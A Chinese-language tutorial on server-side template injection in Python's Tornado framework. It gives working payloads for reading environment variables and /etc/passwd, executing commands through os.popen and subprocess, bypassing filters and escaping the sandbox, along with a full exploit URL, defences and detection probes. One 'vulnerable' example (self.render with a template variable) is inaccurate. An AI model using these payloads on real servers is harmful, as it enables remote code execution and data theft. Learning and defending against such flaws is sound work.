Tornado的SSTI
字数 1232 2025-08-06 12:20:45

Tornado模板引擎SSTI漏洞分析与利用

1. Tornado模板引擎简介

Tornado是一个Python Web框架和异步网络库,它内置了自己的模板系统。Tornado模板语法类似于Jinja2,但实现方式有所不同,这也导致了其特有的SSTI(服务器端模板注入)漏洞模式。

2. Tornado模板基础语法

Tornado模板的基本语法结构:

  • {{ ... }} - 表达式,输出变量或表达式结果
  • {% ... %} - 控制语句,如if、for、while等
  • {# ... #} - 注释

示例:

<html>
  <body>
    <h1>{{ title }}</h1>
    <ul>
      {% for item in items %}
        <li>{{ escape(item) }}</li>
      {% end %}
    </ul>
  </body>
</html>

3. SSTI漏洞产生原因

Tornado SSTI漏洞通常发生在开发者直接将用户输入拼接到模板中时:

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument('name', 'Guest')
        self.render('template.html', name=name)

如果攻击者能够控制name参数,就可能注入恶意模板代码。

4. Tornado模板注入利用方法

4.1 基本信息泄露

{{ __import__("os").environ }}  # 读取环境变量
{{ handler.settings }}  # 获取应用配置

4.2 文件读取

{{ __import__("os").popen("cat /etc/passwd").read() }}
{{ open("/etc/passwd").read() }}

4.3 RCE (远程代码执行)

{% import os %}{{ os.popen("whoami").read() }}
{{ __import__('subprocess').check_output(['ls', '-la']) }}

4.4 利用内置对象和方法

Tornado模板提供了几个内置对象和方法:

  • handler - 当前的RequestHandler实例
  • request - 当前的HTTP请求对象
  • current_user - 当前用户
  • locale - 本地化信息
  • _ - 翻译函数
  • escape - HTML转义函数
  • url_escape - URL转义函数
  • json_encode - JSON编码

利用这些对象可以获取更多信息:

{{ handler.request.connection.context }}
{{ handler.application.settings }}

5. 高级利用技巧

5.1 绕过过滤

如果某些关键字被过滤,可以使用字符串拼接或编码绕过:

{{ getattr(__import__("o"+"s"), "po"+"pen")("id").read() }}
{{ __import__("\x6f\x73").system("whoami") }}

5.2 利用Python沙箱逃逸技术

Tornado模板本质上是一个受限的Python执行环境,可以利用Python沙箱逃逸技术:

{{ ''.__class__.__mro__[-1].__subclasses__() }}  # 列出所有可用类
{{ ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['os'].popen('id').read() }}

5.3 利用模板继承

如果存在模板继承,可以尝试覆盖父模板:

{% extends "base.html" %}
{% block content %}
    {{ malicious_code }}
{% end %}

6. 防御措施

  1. 输入验证:严格验证用户输入,特别是用于模板渲染的数据
  2. 转义输出:使用escape()函数对所有动态内容进行转义
  3. 最小权限:运行Tornado应用时使用最小必要权限
  4. 禁用危险功能:在安全敏感环境中禁用__import__等危险功能
  5. 使用安全模板:考虑使用更安全的模板引擎或严格限制的模板环境

7. 漏洞检测方法

  1. 尝试注入简单表达式:{{7*7}},观察是否返回49
  2. 尝试访问内置对象:{{handler}},观察是否返回对象信息
  3. 尝试执行简单命令:{{__import__("os").popen("id").read()}}

8. 实际案例分析

假设存在以下漏洞代码:

class VulnerableHandler(tornado.web.RequestHandler):
    def get(self):
        template = '<html><body>Hello, ' + self.get_argument('name') + '</body></html>'
        self.write(tornado.template.Template(template).generate())

攻击者可以构造如下payload:

http://example.com/vuln?name={{__import__("os").popen("cat+/etc/passwd").read()}}

这将导致服务器执行命令并返回/etc/passwd文件内容。

9. 总结

Tornado模板注入漏洞危害严重,可导致信息泄露、RCE等后果。开发者应避免直接将用户输入拼接到模板中,而应使用模板变量传递数据。安全团队在审计时应特别关注所有动态模板生成的地方,确保没有未经过滤的用户输入直接进入模板渲染过程。

Tornado模板引擎SSTI漏洞分析与利用 1. Tornado模板引擎简介 Tornado是一个Python Web框架和异步网络库,它内置了自己的模板系统。Tornado模板语法类似于Jinja2,但实现方式有所不同,这也导致了其特有的SSTI(服务器端模板注入)漏洞模式。 2. Tornado模板基础语法 Tornado模板的基本语法结构: {{ ... }} - 表达式,输出变量或表达式结果 {% ... %} - 控制语句,如if、for、while等 {# ... #} - 注释 示例: 3. SSTI漏洞产生原因 Tornado SSTI漏洞通常发生在开发者直接将用户输入拼接到模板中时: 如果攻击者能够控制name参数,就可能注入恶意模板代码。 4. Tornado模板注入利用方法 4.1 基本信息泄露 4.2 文件读取 4.3 RCE (远程代码执行) 4.4 利用内置对象和方法 Tornado模板提供了几个内置对象和方法: handler - 当前的RequestHandler实例 request - 当前的HTTP请求对象 current_user - 当前用户 locale - 本地化信息 _ - 翻译函数 escape - HTML转义函数 url_escape - URL转义函数 json_encode - JSON编码 利用这些对象可以获取更多信息: 5. 高级利用技巧 5.1 绕过过滤 如果某些关键字被过滤,可以使用字符串拼接或编码绕过: 5.2 利用Python沙箱逃逸技术 Tornado模板本质上是一个受限的Python执行环境,可以利用Python沙箱逃逸技术: 5.3 利用模板继承 如果存在模板继承,可以尝试覆盖父模板: 6. 防御措施 输入验证 :严格验证用户输入,特别是用于模板渲染的数据 转义输出 :使用 escape() 函数对所有动态内容进行转义 最小权限 :运行Tornado应用时使用最小必要权限 禁用危险功能 :在安全敏感环境中禁用 __import__ 等危险功能 使用安全模板 :考虑使用更安全的模板引擎或严格限制的模板环境 7. 漏洞检测方法 尝试注入简单表达式: {{7*7}} ,观察是否返回49 尝试访问内置对象: {{handler}} ,观察是否返回对象信息 尝试执行简单命令: {{__import__("os").popen("id").read()}} 8. 实际案例分析 假设存在以下漏洞代码: 攻击者可以构造如下payload: 这将导致服务器执行命令并返回/etc/passwd文件内容。 9. 总结 Tornado模板注入漏洞危害严重,可导致信息泄露、RCE等后果。开发者应避免直接将用户输入拼接到模板中,而应使用模板变量传递数据。安全团队在审计时应特别关注所有动态模板生成的地方,确保没有未经过滤的用户输入直接进入模板渲染过程。